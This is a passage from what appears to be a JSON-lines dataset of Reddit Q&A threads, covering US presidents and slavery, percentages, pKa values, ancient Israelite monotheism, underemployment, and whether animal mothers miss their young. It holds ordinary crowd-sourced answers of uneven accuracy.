but really a radical proslavery man -which puts him in good company even among Whigs- who happened to oppose almost the whole Whig party agenda. National bank? Not on Tyler's watch! He spent a lot of his presidency fighting with the Whigs in Congress, who basically read him out of the party. At that point, even if Tyler wanted to do otherwise, he needed a new set of supporters and decided he would get them by going all-in on slavery expansion. That didn't work out so well for him because the Democrats already had the market cornered and why would they vote for him when they could have one of their own? The dodgy way he forced through Texas annexation -a joint resolution of Congress rather than a treaty because he couldn't get 2/3 of the Senate to agree- didn't help. \n\nTexas annexation leads fairly directly to the Mexican War, which inaugurates the traditional grand battle over the fate of slavery in the West. It's actually gone on before this -that's why Texas didn't get annexed when it asked in 1836- but from about 1846 onward it becomes the overt, dominant national issue. The whole point of the Second Party System was to contain and neutralize antislavery politics, so Tyler's annexation gets the ball rolling in a lot of ways. And this is something that he couldn't have missed since it was a major theme of politics around the annexation of Texas for a good decade before he got his way.\n\nJames K. Polk had, in many senses, the most successful presidency ever. It was a disastrous success, just as he planned. He would say it wasn't disastrous at all, but he was a proslavery man working hard to expand slavery. In theory, he was a general expansionist but he happily accepted a negotiated settlement with the UK over the Canadian boundary and then staged a war so he could relieve Mexico of vast tracts of territory that it claimed on the grounds of both Texas ludicrous boundary claims (all the way to the Rio Grande...in the West) and the whole rest of the Southwest while he was at it basically because he could. He intrigued heavily, if incompetently, for the purchase of Cuba too. All that new land means that the nation needs to decide if slavery will go out there or not, which occasions new escalations on both sides even separate those that Texas itself brought in. Many antislavery whites were willing to reluctantly call a mulligan on Texas, including David Wilmot who otherwise wanted every inch of dirt the US collected from Mexico to have slavery banned, but the future California, Utah, Nevada, Arizona, and New Mexico were up for grabs now too.\n\nZachary Taylor had a bit of the same problems that Tyler and Harrison had. Takes on him vary, but most historians consider him the good slaveholding Whig president. He took firm stands against southern brinksmanship over the Mexican War spoils and planned to get New Mexico and California both into the Union as free states, with the two covering the entire American Southwest, minus Texas. He may have been taking cues from William Seward, New York's antislavery Senator. Or he might have been a seriously proslavery man who expected an eventual settlement much like the Compromise of 1850, which is the minority view. Either way, there's some debate over whether his hard line against Texas' grander territorial claims was him showing good, firm resolve or if it was wildly irresponsible brinksmanship that risked igniting a civil war then and there. Then he ate some bad cherries and died. \n\nThat brings us to Millard Fillmore, who signed off on the whole Compromise of 1850. The most important and odious part of that is a new Fugitive Slave Law that criminalizes aiding slaves who escaped to free states and imposes heavy penalties for it, whilst simultaneously depriving accused fugitives of any real due process and offering a kickback to the new judges appointed to order their renditions.  \n\nFillmore did not win the Whig nomination to a term of his own, so Winfield Scott got to head the last ever Whig presidential ticket and lose to Franklin Pierce. Franklin Pierce is *terrible*. He was a proslavery hatchet man *in New Hampshire*.  He had just enough judgment to know that signing a repeal of the Missouri Compromise in the Kansas-Nebraska Act would be a political disaster. He expressed his opposition to the scheme in public. Then he allowed himself to be conned and steamrolled into pushing hard for it and signing the bill into law. That inaugurated Bleeding Kansas, with proslavery and antislavery militants flooding into the territory to settle its fate. Presented with that problem, Pierce went out of his way to side with the proslavery party even when they were armed bands from Missouri who came to Kansas and voted illegally, outlawed political opposition to slavery, and initiated most of the violent political clashes in the territory up through the middle of 1856. John Brown gets all the press, but proslavery militants straight up murdered people at least a year before he ordered some men dragged out of their homes at night to be hacked up with artillery swords. Antislavery militants to that point where usually happy to just burn your cabin down while you were away. None of that happens if Pierce either vetoed the bill or refused to make it a test of Democratic party loyalty. Bleeding Kansas wasn't a literal goal for Pierce, but he did little to improve it and much to make it worse.\n\nJames Buchanan is another mess. His main qualification, a /u/wat21 notes, was in that he had been out of the country for four years. The other one, and it's a biggie, is that James Buchanan made his career being slavery's best friend in the North. The only way you could be more pliable and inclined to do a solid for slavery than James Buchanan was by actually owning people yourself, which one contemporary Indiana senator actually did. We don't know for sure, but it's possible that he influenced the outcome of the Dred Scott decision which outlawed the platform of his opposing party. He inherited Bleeding Kansas and worked hard to make sure the proslavery side got to keep its ill-gotten gains. He failed and split his own party in the doing, which contributed to the GOP win in 1860. That in turn brought about the final slavery crisis, which he did little to combat.\n\nAbraham Lincoln routinely wins top spot in rankings of presidents. He's also where my detailed study largely ends."]}, "title_urls": [], "selftext_urls": ["https://en.wikipedia.org/wiki/Historical_rankings_of_presidents_of_the_United_States"], "answers_urls": [["https://upload.wikimedia.org/wikipedia/commons/thumb/c/ce/1856_Electoral_Map.png/650px-1856_Electoral_Map.png", "https://upload.wikimedia.org/wikipedia/commons/3/31/1860_Electoral_Map.png", "https://www.senate.gov/reference/Legislation/Vetoes/vetoCounts.htm", "https://www.politico.com/magazine/story/2016/04/barack-obama-gop-most-powerful-213814"], [], []]}
{"q_id": "bqq81w", "title": "what is the mathematically correct answer to 0+100%+100% ?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/bqq81w/eli5_what_is_the_mathematically_correct_answer_to/", "answers": {"a_id": ["eo6nda1", "eo6nz9r", "eo6o0cd", "eo6oqvs", "eo6q35x"], "score": [4, 5, 4, 3, 3], "text": ["There isn't one, because it doesn't make any sense.\n\n100% of what?", "It would be 200% of whatever assuming the 0 should be 0%. But google and the other thing probably couldn\u2019t interpret adding a whole number to a percent", "Okay, it doesn't make sense, but I'll take a crack at it. 100% when made a fraction is 100/100, which is a whole\u2014so 1. So 0+1+1=2.", "It reads to me as if you're saying 0 plus 100% of 0 which would be 0, just as 1 plus 100% of 1 equals 2.", "By using the number 5 rather than the number 0 it is pretty easy to see what each is doing.\n\nWolfram alpha is doing:\n(5+100% of 5) + 100% of (5+100% of 5)\nThis gives you 20\nWolfram alpha's percentage operator is using PEMDAS to determine what it is taking the percent of.\n\nGoogle is doing:\n(5 + 100% of 5) + (100% of 100%)\nIn this case 100% of 100% is being interpreted as one\nSo the answer is 11\nGoogle's percentage operator is only looking at the term before it.\n\nBing does\n5 + 100% + 100% \nWhere 100% is equal to 100/100=1\nSo the answer is 7\nBing is not using a percentage operator and is instead treating it like a fraction.\n\nAll of these methods are valid because the question is not very well defined mathematically. \nDoes it mean 500% + 100% + 100%? \nOr does it mean 5 + 100% of 5 and then + 100% of that?\nI'm pretty sure it doesn't mean Google's math but...\n\nThe question is ambiguous so the different interpretations yield different results."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], []]}
{"q_id": "22nh2v", "title": "does the human brain age independently from the body?", "selftext": "Hypothetically, if brain transplants were possible (the brain of one human being transferred to the body of another human), would the brain be \"old\"?\n\nLet me give you an example: \n\nThe brain of an 90-year-old is transferred into the body of a 16-year-old. Can that person now live for Another 80 years, or would they die soon because their brain is \"old\"?  ", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/22nh2v/eli5_does_the_human_brain_age_independently_from/", "answers": {"a_id": ["cgoja6l", "cgokv9p"], "score": [3, 5], "text": ["People die because of a certain organ failure most of the time. I don't usually hear things about the brain shutting down, but he may develop things that would make him go crazy.", "At 90 many people suffer from dementia or Alzheimer's disease.  Since those conditions affect the brain I would think it would still be an issue in a new body. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "1mphxk", "title": "Questions about the Acid Dissociation Constant", "selftext": "I understand pKa values in water in terms of determining which molecules will deprotonate which other molecules, but for extreme values, I can't wrap my head around the definition.\n\nFor example, methane has a pKa of ~50. Does this really mean that the ratio [CH3-] [H+] / [CH4] in water is 10^-50 ? This would mean something like one dissociation if the whole mass of the Earth in methane was in contact with water. It doesn't seem sensible.\n\nI read that extreme values are not found by titration, but by NMR or other techniques. So does this scale really have anything to do with dissociation in water above 12 or below 2, or is it just an extension that effectively drops the original definition?\n\nI also read, on the wikipedia article for example, that NaOH has a pKa of around 13 or 13.7. I really don't understand this at all, is this correct? Is the ratio of [NaO-] [H+] / [NaOH] really 10^-13 ? I thought that it would be completely dissociated as Na+ and OH- so I cannot really make sense of this. Do I interpret it as NaOH donating a proton slightly more easily than H2O, even though I can't think of a situation where it would do that?\n\nThanks!", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1mphxk/questions_about_the_acid_dissociation_constant/", "answers": {"a_id": ["ccbi021", "ccbifab", "ccbiyas", "ccbms7n"], "score": [3, 4, 2, 3], "text": ["pKA Values beyond the H3O^+ and the OH^- ions (The strongest acids or based that can exist in water) work a little differently.    From water's stand point the only thing you can infer from those values is that if you place one of those compounds into water it will immediately and completely give/accept its proton and form the H30^+ /OH^- .  This is known as the leveling effect.\n\nThe pKA table beyond that is more of a relative strength table and is often calculated from different mediums.  The actual physical meaning in water is no longer valid because the compound is simply too strong, but it is still useful for determining what will protonate what. ", " > For example, methane has a pKa of ~50. Does this really mean that the ratio [CH3-] [H+] / [CH4] in water is 10-50 ? This would mean something like one dissociation if the whole mass of the Earth in methane was in contact with water. It doesn't seem sensible.\n\nYou have hit on a good point: Knowing the pKa of something in water above 14 or below 0 is impossible (since the chemical will just wholly dissociate into H+ or OH-, which are the strongest acids and bases in water) so they are can't be measured by titration in water, though sometimes they can in solvents like DMSO. Now remember that the conjugate base of methane, CH3- (usually found as Methyl Lithium) is an extremely strong base, it isn't surprising that methane wouldn't almost ever dissociate naturally.\n\n > I also read, on the wikipedia article for example, that NaOH has a pKa of around 13 or 13.7. I really don't understand this at all, is this correct? Is the ratio of [NaO-] [H+] / [NaOH] really 10-13 ? I thought that it would be completely dissociated as Na+ and OH- so I cannot really make sense of this. Do I interpret it as NaOH donating a proton slightly more easily than H2O, even though I can't think of a situation where it would do that?\n\nActually you read this as NaOH being slightly worse than H20 at auto-protonation, and yes the ratio is actually 10^-13 (approximately). Neither are very likely at all to dissociate this way, but water is actually less likely to form H+ and OH- than NaOH is to form NaO- and H+, most likely because NaO- is actually a little more stabilized than OH- because of the extra electrons on the Na+ vs. the H+ giving the ability to displace the charge a bit better.", "When dealing with the pKa values for very weak acids/bases, the solvent used to determine these quantities is not water, but a weaker acid or base than water, respectively. By changing the solvent, one can achieve a higher concentration of the conjugate species. In water, the very strong conjugate acid/bases would be virtually non-existent. However, in a solvent that is less capable of donating/accepting a proton, more of the conjugate species can exist at equilibrium. For example, DMSO and acetonitrile are popular non-aqueous solvents.\n\n The problem, of course, is that the difference in solvent alters the pKa values, making it impossible to perform a simple calculation relating the pKa of a species in non-aqueous solvent to it's pKa in water (using the relative pKa values of the solvent vs. water). However, based on the leveling effect, this difference is inconsequential for very strong acids and bases (i.e. sodium amide vs. tert-butyllithium). These pKa values are of more relevance for calculating the equilibrium concentrations between two strong acids/bases, for example,  to what extent will diethyl malonate be deprotonated by sodium hydroxide in non-aqueous solvent.\n\nFor the strongest acids and bases, mathematical techniques are used to find the pKa, though once again, relating this calculated value to the actual pKa in water is both difficult and unnecessary, since these species will be virtually quantitatively converted to hydronium/hydroxide in aqueous solvent.\n", "One thing to be aware of is that equilibtium constants, and thus pK*_a_*, can be calculated from \\Delta G of the reaction, so we don't have to measure concentrations to talk about pK*_a_*. This doesn't really solve the problem, though, as \\Delta G*_f_* of  ions in water is not easy to come by if not by some form of direct measurement.\n\nSo, how can we measure pk*_a_* if it is above 14? It turns out that, for organic compounds where the acidic proton is bound to a carbon atom, the rate of H exchange is dependent on pk*_a_*, so for moderately acidic compounds, we can dissolve them in D*_2_*O and measure how fast the proton NMR signal disappears. This only takes us some of the way, though, as cimpinds with a pk*_a_* over around 40 doesn't exchange protons to any discernable degree.\n\nWhat we can do instead is to go to another solvent, and measure the equilibrium constant with some very weakly acidic indicator. This has the problem that pk*_a_*s measured in different solvents are not directly comparable, so we are no longer measuring the p*_a_* in any way that makes sense. This still doesn't take us all the way to methane, either. At some point ( a pk*_a about 50, IIRC), the compounds become so weakly acidic that discerning which is more acidic becomes hopeless."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "33lbn0", "title": "this joke", "selftext": "From Dexter's Lab, if it even makes sense.\n\n_URL_0_", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/33lbn0/eli5_this_joke/", "answers": {"a_id": ["cqlyd8q", "cqlzdyg"], "score": [114, 7], "text": ["It actually is a joke! One of my pharmacy professors explained it to us once and it is hilarious.\nThe joke is that the physics professor and the assistant are actually taking aspirin (presumably for a headache). Aspirin is a salicyclic acid that has a hydroxyl ion added to it (which is liberated when you ingest it).\nOnce you've taken aspirin, its breakdown occurs when plasma esterases hydrolyze (giving it an hydroxyl ion) the salicylic acid, thus stopping its effects and giving you your headache back.\nWhen the professor says \"that's no hydroxyl ion, that's my wife!\" He's saying that its not the breakdown of the aspirin that's making his headache return, it's his wife!\nedit TL;DR: His wife is giving him a headache", "It's also a throwback to a classic old joke- \n\n\"Who was that lady I saw you with?\"\n\n\"That was no *lady*, that was my wife\"\n"]}, "title_urls": [], "selftext_urls": ["https://www.youtube.com/watch?v=CWayaqdhncY"], "answers_urls": [[], []]}
{"q_id": "41ak9t", "title": "Did ancient Jewish people always believe that their God was the only one that existed?", "selftext": "I know there is some evidence in the early books of the bible that the ancient Jews only worshipped their patron deity, Yahweh, but believed that there were many other gods.  The best known example would be the commandment \"Thou shalt have no other gods before me.\"\n\nSo basically I'm wondering  when the concept arose in Judaism of there only being one God, and what evidence we have of it (especially any sources outside of bible).  Thanks!", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/41ak9t/did_ancient_jewish_people_always_believe_that/", "answers": {"a_id": ["cz0vcew"], "score": [14], "text": ["\"Biblical Monotheism\" arose, supposedly, from the Josianic religious reforms of the 7th c. BCE (largely outlined in Deuteronomy). Remember, though, that these religious reforms were literary and likely hard to enforce on the ground. Popular religion and religious practice persisted, of course.\n\nA few good sources:\n\nMark Smith, _The Early History of God_ (MUCH better and much more professional/authoritative than Karen Armstrong's popular book on a similar [read: NOT THE SAME] topic).\n\n_Bodies of God_ by Benjamin Sommer discusses the issue of local manifestations of deities, etc. \n\nBecause I contributed quite a bit to the discussion on antediluvian life-spans yesterday, I'm also going to copy/paste here my answer I gave on my Religions of Israel comprehensive PhD exam question. (Because I'm tired.) The question asked about epigraphic (read: inscriptions) evidence for ancient Israelite religion, specifically as it pertains to monotheism/monolatry/polytheism, etc.\n\n > Extant texts within the corpus of epigraphic Hebrew have played a significant role in the development of thought concerning ancient Israelite Religion.  It should be noted from the outset that there is a relative dearth of epigraphic Hebrew evidence, especially when compared to Mesopotamian and Egyptian archives of texts.  We have no monumental or royal inscriptions in Hebrew from ancient Israel (the closest we can come would be to something like the Siloam Tunnel inscription\u2014it is possible that this is an expression of Israelite understandings of the role and nature of the ruling class).  \nSome of the most notable examples of extant material, of course, come from sites such as Kuntillet Ajrud and Khirbet El Qom where we find various types of short blessings and petitions written on media like pithoi in ink.  Many of these inscriptions appeal to \u201cYahweh of Teman\u201d and \u201cYahweh of Samaria\u201d for some kind of blessing and extension of life.  These exemplars in particular grant us insight into the development of Israelite monotheism and the ANE phenomenon of the local manifestation of deities.  As Sommer points out, local manifestations are not full manifestations of the deity where the deity is fully present in one and only one location (cf. Deuteronomy); but, rather, a fractalized understanding of the deity in question.  Furthermore, the inscriptions from KAjr and KelQ raise the question of whether or not Yahweh had a consort\u2014Asherah (\u05d0\u05e9\u05e8\u05d4, \u05d0\u05e9\u05e8\u05ea\u05d4).  The greatest amount of controversy pertaining to this issue surrounds the form of \u05d0\u05e9\u05e8\u05ea\u05d4.  Specifically, is this a reference to the goddess Asherah or is this a reference to some kind of cultic object and/or tree?  The most obvious crux is the presence of the 3ms pronominal suffix.  Zevit posits that this is a secondary feminization of the word.  This linguistic phenomenon is not only rarely attested, but rather unconvincing.  Sommer, on the other hand, does not believe that the suffix can be appended to a personal name\u2014a tired and old argument that has been dispensed in numerous places (cf. Rollston, _Writing and Literacy..._ 2010 and Mark Smith _The Early History of God_).  If personal names can appear in the construct state (e.g., Dagon of Tuttel, Yahweh of Teman) and nouns are in construct with their possessive suffixes, then it stands to reason that the name \u05d0\u05e9\u05e8\u05d4 can be in construct with a 3ms pronominal suffix.  All that to say that in earlier permutations, these epigraphic sources tell us that Yahweh likely had a consort and that consort was Asherah.  \n\tThe corpus of Old Hebrew ostraca have also been used in reconstructing the religions of early Israel.  We not only see personal names with \u2013yhw theophoric elements; but, we also see oath formulae that comparable in form to those found in the Hebrew Bible (\u201cas Yahweh lives\u2026\u201d).  On the other hand, we see a considerable number of theophoric elements such as b\u2018l, \u2019l, \u2019dn, etc.  Onomastic evidence should be treated with caution.  While naming practices could be indicative of religious thought or belief systems, they could also simply be a reflection of what people considered to be a nice name.  We might readily compare the onomastic evidence from Elephantine and the papyri recovered there, where many have argued that the early Jews at the military outpost in the Nile practiced a syncretistic form of Yahwism where the Egyptian goat-god Khnum was also venerated.  Also worth mentioning is the practice of ad nominem representation in the DH, where the author or redactor saw fit to change the name of Ishba\u2018al (\u201cman of Ba\u2018l\u201d) to Ishboshet (\u201cman of shame\u201d).  The same can be seen in the change from Meriba\u2018al to Mephiboshet.  \n\tWe might also readily consider things like stamp seals and jar handles recovered from archaeological digs in the Levant.  While these do not give us much in the way of textual evidence, they still give us a glimpse into the material culture, its production and use, its role form an art historical perspective, and its role in social thought.  One overarching characteristic of early Israelite religion possibly recoverable in this regard was aniconism of the deity.  Outside of one possible interpretation of the drawings on the KAjr and KeQ pithoi (namely that the bull depicts Yahweh), deities were by and large not depicted.  Occasionally a solar disk would be used, likely to indicate some kind of deity; however, unlike things like Assyrian cylinder seals, Yahweh was not usually portrayed.  (We might readily consider comparative data like the Ain Dara sanctuary, where the deity is portrayed with strident footsteps moving forward out of the sanctuary.) \n\tThe biblical text has been used to attempt to reconstruct the early religions of Israel.  Used in this manner, the text should be treated with caution.  Much of the biblical text presents a polemical and/or biased perspective on ancient Israelite religion.  However, there are aspects of the text that provide data for us by which we may reconstruct certain aspects of the development of Israelite religions in antiquity.  For example, we might readily consider the epigraphic evidence from Qumran in 4QDeutj, which offers us a variant to the MT of the Song of Moses in Deut 32:8-9.  In these verses we see Elyon (the head of the pantheon) apportioning the peoples to junior deities, of whom Yahweh is one.  MT reads \u05d9\u05e9\u05e8\u05d0\u05dc \u05d1\u05e0\u05d9 while Qumran attests \u05d0\u05dc\u05d4\u05d9\u05dd \u05d1\u05e0\u05d9.  In this particular permutation of Deuteronomy maintained at Qumran, we are given insight into early understandings of the Israelite pantheon where Yahweh was not the chief deity of the pantheon.  Later in Job 1 we see Yahweh as having ascended to the chief position within a pantheon.  It is not until later that full blown monotheism, as opposed to monolatry or henotheism, was really instantiated within Israel. \n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "3met7l", "title": "underemployment", "selftext": "This concept is very confusing to me. If Google pays their engineers 100k that's the company's choice but if company X pays their engineers 40k that's their choice. Why does company x have to pay 100k per engineer when they don't make as much as Google? I may have the concept wrong but that's what i thought underemployment meant. The market average is a good indication but that doesn't mean you are underemployed if you make less that average. Its just what the company values your position. You are paid based on the company you work for and the job that you are doing means to the company.  Right?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/3met7l/eli5_underemployment/", "answers": {"a_id": ["cveejhh", "cveenm7", "cvef6i8"], "score": [3, 2, 3], "text": ["Generally underemployment implies not doing a job one was trained to do (like software engineers who can't find any software engineering jobs so are making coffee instead) or only finding part time employment rather than full time employment (so a software engineer who wants 40 hrs/week but can only find 18-29 hrs/week jobs that usually don't offer benefits).  ", "They *don't* need to pay the same as Google - But in a \"healthy\" job market, a given skill set and experience level (and geographic area) will average out to a fairly narrow salary range.\n\nOnly when you have either an extremely employer-favoring or employee-favoring job market will you see a drastic divergence from that - *Neither* of which benefits the economy as a whole.\n\nSo to answer your original question - \"Underemployment\" happens during a period of increasing unemployment, where highly-skilled and/or experienced workers end up taking jobs as Baristas because they can't get a job that pays them for their \"real\" value.\n\nThis has negative effects beyond the workers themselves - People get mortgages proportional to their salaries.  They buy cars they can afford.  They hire gardeners and cleaning services when they can afford it, and mow/clean themselves when they can't.  And if they actually work in a field that generally improves the world, *everyone* end up with a worse world when an engineer takes a job as a cashier.", "That's not what underemployment is. That's being underpaid, and in a free market workers and employers will in the long run reach an equilibrium wage across the industry. After all, if Google engineers make 2.5 times what I do for the same work, why should I stay at my current job?\n\nUnderemployment is when a skilled worker is working an unskilled or less skilled job (like if a PhD was working at McDonalds) or when a wage worker can't get as many hours as they want to work."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "6oxmpk", "title": "how do you kiss?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/6oxmpk/eli5_how_do_you_kiss/", "answers": {"a_id": ["dkl0q10"], "score": [2], "text": ["Do you happen to live in Nevada, and are 18 or older?"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "6fd4rl", "title": "why do we associate the color white with \"plain\" and \"empty\"?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/6fd4rl/eli5_why_do_we_associate_the_color_white_with/", "answers": {"a_id": ["dih9nl6", "dih9unu", "dihagip", "dihdsxn"], "score": [9, 5, 3, 3], "text": ["That's not a universal thing. It has everything to do with the medium you're working in. What is a plain t-shirt? Bleached white cotton (or similar fabric) that hasn't been dyed a color or printed on. What is a plain piece of paper? Bleached white wood pulp sheets with no markings. What is an empty plate? Ceramic that's been painted (usually white) and has nothing else on it.\n\nA lot of the things we use for pigments and marking things mostly make them darker. In color theory this is called subtractive blending, because with each pigment you're subtracting some of the brightness. Consider what would happen if you took a red marker and colored in a square, then took a yellow marker and colored in the same square. It would be an orange square afterward, but darker orange than either the red or the yellow ink.\n\nFor what it's worth, black is also iconic of plain and empty. When you brighten up darkness, like chalk on a chalkboard or the lit pixels on the device you're reading this from, we call that additive blending. That's because everything you add to it makes the color brighter. \n\nSo the real question is why are things on the gray scale, and especially black and white, why are they perceived as plain? Couldn't we instead of bleaching paper white dye it red and have that be the default starting point? The answer is that our eyes have evolved to be sensitive to three different parts of the visible light spectrum (roughly red, blue and green). When there is an even amount of light hitting all three types of sensors you get something black (all empty), white (all full), or gray (all the same amount between). It feels balanced to us.", "/u/sabrinapemberton suggested a lot of good contributors, but I'm going to add a couple more that are associated with largely white landscapes: winter, beaches and salt flats.\n\nSnowscapes, particularly during blizzards are often desolate, cold and empty. Life is usually largely absent and the environments are frigid and inhospitable. Ditto salt plains, except for maybe the cold part. And white coral-sand beaches on desert islands are often empty of apparent life as well. \n\nWhere we see a lot of white in a landscape, it often comes with a feeling of emptiness or absence of life about it.", "If you do it's because it's the most commonly used color and is viewed as neutral or inoffensive. \n\nBut neutral things are often considered boring as well, which is why white is \"plain\". It's average and not exciting or different because of how common it is. ", "For some people. White is the lack of colour. Black is technically all colors combined but white is pure and lack any impurities. That's why you can't ever make something white unless it already is, but you can make black from many sources. It's all about pigments."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "3p0ypq", "title": "when newborn pups or kittens are taken away from their parents after around 8 weeks or so, do their parents notice them missing and will they suffer from depression or feel sad?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/3p0ypq/eli5_when_newborn_pups_or_kittens_are_taken_away/", "answers": {"a_id": ["cw28cvm", "cw28px3", "cw29tqp", "cw2bgmx", "cw2c7qa", "cw2dqkc", "cw2dqoa", "cw2e0h0", "cw2eulf", "cw2fb1h", "cw2fmjb", "cw2g3k7", "cw2g6pc", "cw2g8gv", "cw2ga2x", "cw2gdsv", "cw2gnzt", "cw2h1r4", "cw2h80h", "cw2h9p8", "cw2hc9m", "cw2he04", "cw2hfto", "cw2hqea", "cw2hv9i", "cw2ijo5", "cw2inzg", "cw2ioog", "cw2ixrt", "cw2izuh"], "score": [88, 194, 26, 536, 1051, 11, 306, 12, 95, 28, 27, 20, 7, 3, 15, 3, 47, 10, 13, 2, 6, 2, 5, 2, 5, 5, 3, 2, 5, 2], "text": ["From my observations, they seem to panic a little and look around for their kittens/pups, but that seems to fade pretty quickly - lessening until it's gone, taking maybe a few days to a week. Also, the mama cat/dog now has time to eat and sleep when she wants, and do her own thing, so I swear they're a little bit relieved too. ", "Depends largely on the animal.  Cats don't really have a family unit once their kittens mature.  A cat that lives with its kittens will quickly start treating them like they would any other cat once they grow up.  Elephants, on the other hand, have been documented mourning when their elephantlets (note: not actual term) go missing or die, as elephants live in family units.\n\nDogs I don't actually know, but when it comes to cats, they're pretty much wired to see their kittens as something fleeting.", "I absolutely love my animals and can be seen to treat them like humans. But we are often anthropomorphizing them. They have emotions, but not the same way we do. They don't have the same sense of self for some emotions. The mother cats have a natural imperative to care for her young, or else the species wouldn't survive. They seem \"sad\" but really, they are just doing what comes naturally.\n\nThough I do know that I have seen animals sad, depressed, lonely. I just don't think they have the same capacity for these feelings, and if animals could talk, they would probably express themselves much differently than how we think they should be feeling. ", "Cats will be sad if their kittens are taken away too soon. \n\nMaybe will be sad if their kittens are taken away after they are old enough. \n\nIf you leave the kittens too long, the mother will start treating them like other non-related-to-her cats. Fighting over territory, the boys will start getting antagonistic and rowdy, the mom will have sex with her sons and possibly get pregnant.... \n\nSo, there is a sweet spot to taking kittens away, although it does depend on the individual cat. \n\nHey, I had a boy cat that got way attached to a litter of kittens and never forgave us for rehoming them. \n\nEDIT: I felt I should point out that my mom was an animal hoarder and so I have personally seen how cats react through childbirth/child rearing multiple times.  \n\nI didn't know people would be so shocked by the incest thing.  \nCats are (mostly) solitary animals.  Kids are only kids for so long, then they are competition or sex partners. \n\nEven pack cats (lions) push sexually mature males out of the pack so as to not impregnate the females.  \n\nIncest is a human taboo.  Cats don't give a fuck.  \n\nEDIT: this is crazy.  This comment is my highest.  Cat incest.  My boobs got less points.  I don't know what to think about that.  ", "My dog went into depression after her puppies were adopted.  she didn't eat or drink for several days.  We got her a stuffed puppy and she had it for years, taking it everywhere and sleeping with it.  No more puppies for her.  We had her spayed.  I couldn't let her suffer like that all over again.  She was of show dog lineage and I didn't care.", "Well my cat had kittens and then got ill so had to be separated from them for a couple of weeks. \n\nWhen she got out 2 of the 4 had gone and she went around the house meowing and searching for them for a day out two. \n\nSoon after the 3rd left and we kept the 4th. She just sort of turned on the last one, she'd growl when it came near and sort of knocked it round the head when it came near her. A year on now and the kitten sill tries to snuggle with her and the mum just gets all stressed and runs out the room. \n", "Our Jack Russell Terrier had a litter of puppies, and one of them, unfortunately, got hit by a car after about 3 months spent with her mother. The mother still goes to the place where she was found and just lays down. She's never been as lively. And don't start me on cows; they mourn for weeks and it's totally heartbreaking.", "I once had two cats pregnant at once. The first cat had her babies, and for some unexplained reason, they all died within a few days of birth. Well when the other cat had her kittens, the first mom cat literally (yes, literally) kidnapped a baby from the litter and refused to give it back. Yes, i firmly believe they miss their babies. It just broke my heart, she firmly believed that the babies were hers. She screamed pitifully for days after we removed the kitten from her care and put it inside the house with the momma. We had her fixed after that, it was just too horrible.", "My granny always said that they can't count. And it's true. They don't know if they have 8 or 3. If you sneak one of their babies away without the mother being aware, she will be none the wiser. If you take them all away at once, they will go into panic mode because they still have the maternal instinct to provide for and protect them.\n\nIn my experience, though brief and anecdotal, the mother cat was fine after a few days after the last kittens were adopted.", "My dog had two puppies.  the day the first puppy was taken by his new owners Jada (momma dog) looked around frantically after they left. After a couple of minutes she acted like \"oh well\" and that was that. She was really young when she had them. Didnt even know what to do with them. Wouldnt let them nurse at first. I held her tummy up on my lap and helped them latch on, after that she was a good mom. So maybe because she was so young she didnt care when one left.\n\n We kept the other puppy and always joked that Jada would tell Dolly (other pup) that if she misbehaved we would get rid of her too.\n\nI always wondered if Dolly missed her brother?\n\n", "My dog will occasionally treat her toys like her baby's. She will gather them all in her blanket and lay with them without leaving. She usually lays near you when you are home but when she does this she will greet you at the door and then go back to her toys. After a while she will come and get you and take you to her puppies which you have to pet them and be like awww. We will take the toys and put them in another room and she will get them and take them back and cover them up. It's really really sad", "When I was younger we had a Lab that had several litters over her lifetime.  Mostly she took good care of the puppies, and when they were adopted out she didn't seem to mind.  But she was in love with my dad, so I think the puppies didn't matter.  Only time I ever remember refusing to take care of the puppies my father was out of town for a weekend.  she pretty much ignored them the entire time.  damn near killed the whole litter.", "Honestly, it doesn't even have to be pups or kittens. \"My\" cat is a rescue cat, she became mine after she adopted me when my sister moved to university. She was lonely, I could tell, but she had me.\n\nNow I've moved to university, my parents told me that she would mew and whine and cry late at night. It's been a month or so, and now she doesn't sleep in my room and my family comforts her when they walk past her.\n\nI miss her, too.", "They definitely notice. They will be really sad if the kitten or puppy is still a baby who needs its' mother. If it dies or goes missing they will look for it and call out constantly. But once the babies are old enough (more like 10 weeks for cats, I'm not sure how long for dogs) the mothers realize the babies have grown up and gone out on their own, so they don't seem as sad about it. Just like when you go off to college, your parents miss you but they're still proud and happy for you.", "My mother bred show quality dogs for years, and I don't remember any of them seeming depressed or sad.  They were all weaned by the time they left, with the mother maybe going in once a day up to the last week, and having a look of panic as sometimes up to eleven puppies with teeth started nursing.  \n\nThe same question could be asked of when a dog dies; Do the other dogs notice? Sure, maybe for a few days, but then they continue on with their lives.  \n\nIt's really amazing to see a dog give birth though, because sometimes they eat their young.", "My dog used to snap at her puppies and run away fro them when they tried to nurse. She was so happy when they got adopted.", "Oh my god I came to this thread for some sciencey explanation involving hormones and instead I got all the feels.", "On the flip side, I received a pair of kittens that were taken away from their mother a bit too early -- they were probably between 6-7 weeks.\n\nDuring the day they were fine but at night they would cry until I picked them up and put them on the bed. They'd suckle at my fingertips. It was so sad. D:\n\nP.S. There's a happy end to this story. They grew up to be perfectly happy little assholes. They're ok now. ", "My former wife had a cat who needed a C-section. Really. After the kittens were given homes the cat 